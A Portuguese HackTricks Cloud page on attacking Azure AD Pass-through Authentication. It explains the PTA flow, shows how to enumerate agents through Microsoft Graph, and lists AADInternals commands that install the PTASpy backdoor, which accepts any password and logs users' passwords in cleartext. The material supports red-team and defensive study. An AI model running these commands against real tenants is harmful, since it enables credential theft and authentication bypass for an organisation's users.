Az - PTA - Pass-through Authentication
Reading time: 5 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Dos documentos: A autenticação pass-through do Microsoft Entra permite que seus usuários façam login em aplicativos locais e baseados em nuvem usando as mesmas senhas. Este recurso proporciona uma melhor experiência para seus usuários - uma senha a menos para lembrar, e reduz os custos do suporte de TI, pois seus usuários têm menos probabilidade de esquecer como fazer login. Quando os usuários fazem login usando o Microsoft Entra ID, esse recurso valida as senhas dos usuários diretamente contra seu Active Directory local.
No PTA, identidades são sincronizadas, mas senhas não são, como no PHS.
A autenticação é validada no AD local e a comunicação com a nuvem é feita por um agente de autenticação executando em um servidor local (não precisa estar no DC local).
Fluxo de Autenticação
.png)
- Para fazer login, o usuário é redirecionado para Azure AD, onde ele envia o nome de usuário e a senha
- As credenciais são criptografadas e colocadas em uma fila no Azure AD
- O agente de autenticação local coleta as credenciais da fila e as descriptografa. Este agente é chamado de "agente de autenticação pass-through" ou agente PTA.
- O agente valida as credenciais contra o AD local e envia a resposta de volta para o Azure AD que, se a resposta for positiva, completa o login do usuário.
warning
Se um atacante comprometer o PTA, ele pode ver todas as credenciais da fila (em texto claro).
Ele também pode validar qualquer credencial para o AzureAD (ataque semelhante ao Skeleton key).
Enumeração
Do Entra ID:
az rest --url 'https://graph.microsoft.com/beta/onPremisesPublishingProfiles/authentication/agentGroups?$expand=agents'
# Example response:
{
"@odata.context": "https://graph.microsoft.com/beta/$metadata#onPremisesPublishingProfiles('authentication')/agentGroups(agents())",
"value": [
{
"agents": [
{
"externalIp": "20.121.45.57",
"id": "4a000eb4-9a02-49e4-b67f-f9b101f8f14c",
"machineName": "ConnectSync.hacktricks-con.azure",
"status": "active",
"supportedPublishingTypes": [
"authentication"
]
}
],
"displayName": "Default group for Pass-through Authentication",
"id": "d372d40f-3f81-4824-8b9e-6028182db58e",
"isDefault": true,
"publishingType": "authentication"
}
]
}
Verifique se o agente está em execução no servidor local:
Get-Service -Name "AzureADConnectAuthenticationAgent"
Pivoting
Se você tiver acesso admin ao servidor Azure AD Connect com o agente PTA em execução, você pode usar o módulo AADInternals para inserir uma backdoor que irá validar TODAS as senhas introduzidas (então todas as senhas serão válidas para autenticação):
Install-Module AADInternals -RequiredVersion 0.9.3
Import-Module AADInternals
Install-AADIntPTASpy # Install the backdoor, it'll save all the passwords in a file
Get-AADIntPTASpyLog -DecodePasswords # Read the file or use this to read the passwords in clear-text
Remove-AADIntPTASpy # Remove the backdoor
note
Se a instalação falhar, isso provavelmente se deve à falta dos Microsoft Visual C++ 2015 Redistributables.
Este backdoor irá:
- Criar uma pasta oculta
C:\PTASpy
- Copiar um
PTASpy.dll
paraC:\PTASpy
- Injetar
PTASpy.dll
no processoAzureADConnectAuthenticationAgentService
note
Quando o serviço AzureADConnectAuthenticationAgent é reiniciado, o PTASpy é “descarregado” e deve ser reinstalado.
caution
Após obter privilégios GA na nuvem, é possível registrar um novo agente PTA e repetir os passos anteriores para autenticar usando qualquer senha e também, obter as senhas em texto claro.
SSO Sem Costura
É possível usar SSO Sem Costura com PTA, que é vulnerável a outros abusos. Confira em:
Referências
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/how-to-connect-pta
- https://aadinternals.com/post/on-prem_admin/#pass-through-authentication
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.